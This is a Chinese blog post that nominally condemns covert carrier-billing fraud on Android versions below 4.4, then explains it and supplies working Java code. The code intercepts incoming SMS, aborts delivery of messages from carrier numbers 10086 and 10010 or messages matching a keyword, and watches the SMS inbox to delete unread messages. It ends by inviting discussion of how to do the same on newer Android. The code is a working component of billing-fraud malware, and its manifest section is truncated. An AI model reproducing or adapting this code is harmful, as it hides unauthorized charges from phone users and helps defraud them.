暗扣，强烈谴责这种侵害用户利益的行为。。。
下面给大家介绍Android暗扣原理....... Android4.4以下的系统玩游戏就要小心了哈
暗扣方式之一：短信订购，即监听--------拦截------------处理短信。
暗扣方式之二：模拟人为操作（又叫模拟流量），通过后台程序代码模拟人的点击行为，暗自给用户订购业务，由运营商收取你的费用，当然这其中也需要涉及监听/拦截/处理短信。使用这种方式的原理无非是Http处理网页，还涉及接入点切换问题，这里就不详细讲解。
回归正题：有的时候，我们的手机程序需要监听手机短信，当满足条件A时，不处理；当满足条件B时，将其设置为已读；当满足条件C时，将短信删除。
注：Android 4.4以及以后可能由用户来控制程序的权限，如果用户关闭这个程序的权限，意味着你无法监听短信/操作短信内容
目前也有如小米系统在安装时，让用户来控制权限；360来监听优先拦截短信等等（关于谁先安装谁有优先权，动态注册比静态注册优先级别高等问题，在这些情况这里就不讲了）。。。
Android 实现监听短信(同时监听广播和数据库)代码如下：
-
拦截广播
package com.javen.sms.receiver; import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.TimeZone; import com.javen.util.InterceptKeyKeeper; import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast; public class SmsReceiver extends BroadcastReceiver {
private Context mContext;
public static final String SMS_RECEIVED_ACTION = "android.provider.Telephony.SMS_RECEIVED";
public static final String SMS_DELIVER_ACTION = "android.provider.Telephony.SMS_DELIVER"; @Override
public void onReceive(Context context, Intent intent) {
this.mContext=context;
Toast.makeText(context, "接收短信执行了.....", Toast.LENGTH_LONG).show();
Log.e("SMSReceiver, isOrderedBroadcast()=", isOrderedBroadcast()+"");
Log.e("SmsReceiver onReceive...", "接收短信执行了......");
String action = intent.getAction();
if (SMS_RECEIVED_ACTION.equals(action) || SMS_DELIVER_ACTION.equals(action)) {
Toast.makeText(context, "开始接收短信.....", Toast.LENGTH_LONG).show();
Log.e("SmsReceiver onReceive...", "开始接收短信....."); Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[])bundle.get("pdus");
if (pdus != null && pdus.length > 0) {
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++) {
byte[] pdu = (byte[]) pdus[i];
messages[i] = SmsMessage.createFromPdu(pdu);
}
for (SmsMessage message : messages) {
String content = message.getMessageBody();// 得到短信内容
String sender = message.getOriginatingAddress();// 得到发信息的号码
if (content.contains(InterceptKeyKeeper.getInterceptKey(mContext))) {
Toast.makeText(mContext, "内容为："+content, Toast.LENGTH_LONG).show();
//setResultData(null);
this.abortBroadcast();// 中止
}else if (sender.equals("10010") || sender.equals("10086")) {
Toast.makeText(mContext, "内容为："+content, Toast.LENGTH_LONG).show();
this.abortBroadcast();// 中止
}
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
format.setTimeZone(TimeZone.getTimeZone("GMT+08:00"));
String sendContent = format.format(date) + ":" + sender + "--" + content;
Log.e("SmsReceicer onReceive ",sendContent +" ");
}
}
}
}
}
} -
开启一个服务开监听数据库
package com.javen.service; import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
import android.os.Process;
import android.widget.Toast; /**
* @author Javen
* 开启一个服务开监听数据库
*/
public class SmsService extends Service { private SmsObserver mObserver; @Override
public IBinder onBind(Intent intent) {
return null;
} @Override
public void onCreate() {
Toast.makeText(this, "SmsService 服务器启动了....", Toast.LENGTH_LONG).show();
// 在这里启动
ContentResolver resolver = getContentResolver();
mObserver = new SmsObserver(resolver, new SmsHandler(this));
resolver.registerContentObserver(Uri.parse("content://sms"), true,mObserver);
} @Override
public void onDestroy() {
super.onDestroy();
this.getContentResolver().unregisterContentObserver(mObserver);
Process.killProcess(Process.myPid());
}
} -
数据库观察者
package com.javen.service; import android.content.ContentResolver;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Message;
import android.util.Log; /**
* @author Javen
* 数据库观察者
*/
public class SmsObserver extends ContentObserver { private ContentResolver mResolver;
public SmsHandler smsHandler; public SmsObserver(ContentResolver mResolver, SmsHandler handler) {
super(handler);
this.mResolver = mResolver;
this.smsHandler = handler;
} @Override
public void onChange(boolean selfChange) {
Log.i("SmsObserver onChange ", "SmsObserver 短信有改变");
Cursor mCursor = mResolver.query(Uri.parse("content://sms/inbox"),
new String[] { "_id", "address", "read", "body", "thread_id" },
"read=?", new String[] { "0" }, "date desc"); if (mCursor == null) {
return;
} else {
while (mCursor.moveToNext()) {
SmsInfo _smsInfo = new SmsInfo(); int _inIndex = mCursor.getColumnIndex("_id");
if (_inIndex != -1) {
_smsInfo._id = mCursor.getString(_inIndex);
} int thread_idIndex = mCursor.getColumnIndex("thread_id");
if (thread_idIndex != -1) {
_smsInfo.thread_id = mCursor.getString(thread_idIndex);
} int addressIndex = mCursor.getColumnIndex("address");
if (addressIndex != -1) {
_smsInfo.smsAddress = mCursor.getString(addressIndex);
} int bodyIndex = mCursor.getColumnIndex("body");
if (bodyIndex != -1) {
_smsInfo.smsBody = mCursor.getString(bodyIndex);
} int readIndex = mCursor.getColumnIndex("read");
if (readIndex != -1) {
_smsInfo.read = mCursor.getString(readIndex);
} // 根据你的拦截策略，判断是否不对短信进行操作;将短信设置为已读;将短信删除
// TODO
System.out.println("获取的短信内容为："+_smsInfo.toString());
Log.i("SmsObserver ...", "获取的短信内容为："+_smsInfo.toString());
Message msg = smsHandler.obtainMessage();
_smsInfo.action = 2;// 0不对短信进行操作;1将短信设置为已读;2将短信删除
msg.obj = _smsInfo;
smsHandler.sendMessage(msg);
}
} if (mCursor != null) {
mCursor.close();
mCursor = null;
}
}
} -
短信处理类
package com.javen.service; import android.content.ContentValues;
import android.content.Context;
import android.net.Uri;
import android.os.Handler;
import android.os.Message; /**
* @author Javen
*
* 短信的处理
*
*/
public class SmsHandler extends Handler {
private Context mcontext; public SmsHandler(Context context) {
this.mcontext = context;
} @Override
public void handleMessage(Message msg) {
SmsInfo smsInfo = (SmsInfo) msg.obj; if (smsInfo.action == 1) {
ContentValues values = new ContentValues();
values.put("read", "1");
mcontext.getContentResolver().update(
Uri.parse("content://sms/inbox"), values, "thread_id=?",
new String[] { smsInfo.thread_id });
} else if (smsInfo.action == 2) {
Uri mUri = Uri.parse("content://sms/");
mcontext.getContentResolver().delete(mUri, "_id=?",
new String[] { smsInfo._id });
}
}
} -
SmsInfo 数据结构 主要用于短信拦截
package com.javen.service; /**
* 主要用于短信拦截
*
* @author Javen
*
*/
public class SmsInfo {
public String _id = "";
public String thread_id = "";
public String smsAddress = "";
public String smsBody = "";
public String read = "";
public int action = 0;// 1代表设置为已读，2表示删除短信
@Override
public String toString() {
return "SmsInfo [_id=" + _id + ", thread_id=" + thread_id
+ ", smsAddress=" + smsAddress + ", smsBody=" + smsBody
+ ", read=" + read + ", action=" + action + "]";
} } -
需要的权限以及配置信息
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"

测试在MainActivity 中启动SmsService 发送短信到10086 或者10010即可测试
intentService = new Intent(this, SmsService.class);
startService(intentService);
Toast.makeText(this, "启动service中.....", 1).show();以上就是Android 4.4以下暗扣原理。 Android 4.4以上如何实现大家可以在此博客中讨论交流。。。。。
